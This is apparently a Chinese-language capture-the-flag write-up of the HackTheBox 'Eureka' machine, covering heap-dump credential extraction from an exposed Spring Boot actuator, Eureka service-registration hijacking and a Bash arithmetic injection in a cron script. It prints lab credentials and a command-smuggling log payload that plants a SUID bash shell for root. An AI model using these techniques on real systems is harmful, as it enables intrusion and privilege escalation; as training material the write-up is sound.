HTB Eureka靶机渗透实战 - Spring Boot堆转储与Bash算术注入漏洞利用

侦察

Nmap扫描发现三个开放端口:

  • SSH (22)
  • HTTP (80) - 重定向到furni.htb
  • HTTP (8761) - 需要基本认证

网站分析 - TCP 80

家具商店网站,技术栈为Spring Boot框架。通过feroxbuster目录扫描发现暴露的Actuator端点,特别是/actuator/heapdump堆转储端点。

获取oscar190用户Shell

堆转储分析

下载堆转储文件并使用多种工具分析:

  • VisualVM:图形化分析堆转储
  • JDumpSpider:自动化提取敏感信息

发现关键凭证:

  • 数据库连接字符串:jdbc:mysql://localhost:3306/Furni_WebApp_DB§{password=0sc@r190_S0l!dP@sswd, user=oscar190}
  • Eureka服务认证:http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/

SSH访问

使用发现的凭证成功SSH登录:

bash 复制代码
ssh oscar190@furni.htb
密码:0sc@r190_S0l!dP@sswd

获取miranda-wise用户Shell

系统枚举

发现多个Spring Boot应用:

  • cloud-gateway TCP 8080
  • User Management TCP 8081
  • Furni website TCP 8082
  • Eureka server TCP 8761

Spring Cloud Gateway劫持

利用Eureka服务注册机制:

  1. 注册恶意USER-MANAGEMENT-SERVICE实例指向攻击者IP
  2. 删除合法服务实例
  3. 拦截miranda-wise的登录请求

捕获到凭证:IL!veT0Be&BeT0L0ve

SSH访问miranda-wise

bash 复制代码
ssh miranda-wise@furni.htb
密码:IL!veT0Be&BeT0L0ve

获取root权限

漏洞分析

发现定时任务执行的/opt/log_analyse.sh脚本存在Bash算术注入漏洞:

bash 复制代码
analyze_http_statuses() {
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        # 漏洞:code变量直接用于算术比较
        if [[ "$existing_code" -eq "$code" ]]; then
            # ...
        fi
    done
}

漏洞利用

利用Bash算术表达式注入:

bash 复制代码
echo 'HTTP Status: x[$(cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf)]' > application.log

创建SUID bash后门并获取root shell:

bash 复制代码
/tmp/0xdf -p

总结

本渗透测试展示了Spring Boot应用安全配置不当导致的完整攻击链:从堆转储信息泄露到服务注册劫持,最终通过脚本漏洞实现权限提升。

相关推荐
IT_陈寒2 小时前
Java 并行流把我坑惨了,这6小时加班值了
前端·人工智能·后端
火山引擎开发者社区3 小时前
告别长期密码:火山引擎云数据库 MySQL IAM 鉴权全解析
人工智能
火山引擎开发者社区3 小时前
从仓库维护者到架构师|首个大规模真实仓库长程任务 SWE 数据集 DeNovoSWE 发布,火山引擎云沙箱提供支撑
人工智能
火山引擎开发者社区9 小时前
火山 DTS 正式支持 MySQL 同步到 Milvus , 解决业务库到向量库最后一公里
人工智能
火山引擎开发者社区10 小时前
@开发者,提前解锁 FORCE 原动力大会五大看点,限时赢取门票福利
人工智能
火山引擎开发者社区10 小时前
这个 Skill 让 Agent 从会理解到会执行,补齐移动 APP 执行最后一公里
人工智能
火山引擎开发者社区14 小时前
Agent Plan、Coding Plan限时优惠:2.5折畅享多模型!
人工智能
冬奇Lab14 小时前
AI Workflow 定义的四次演进:从 Markdown 到 JS 脚本,再到分布式多 Agent
javascript·人工智能·agent
冬奇Lab15 小时前
每日一个开源项目(第136篇):OpenMemory - 给 AI Agent 真正的认知记忆引擎
人工智能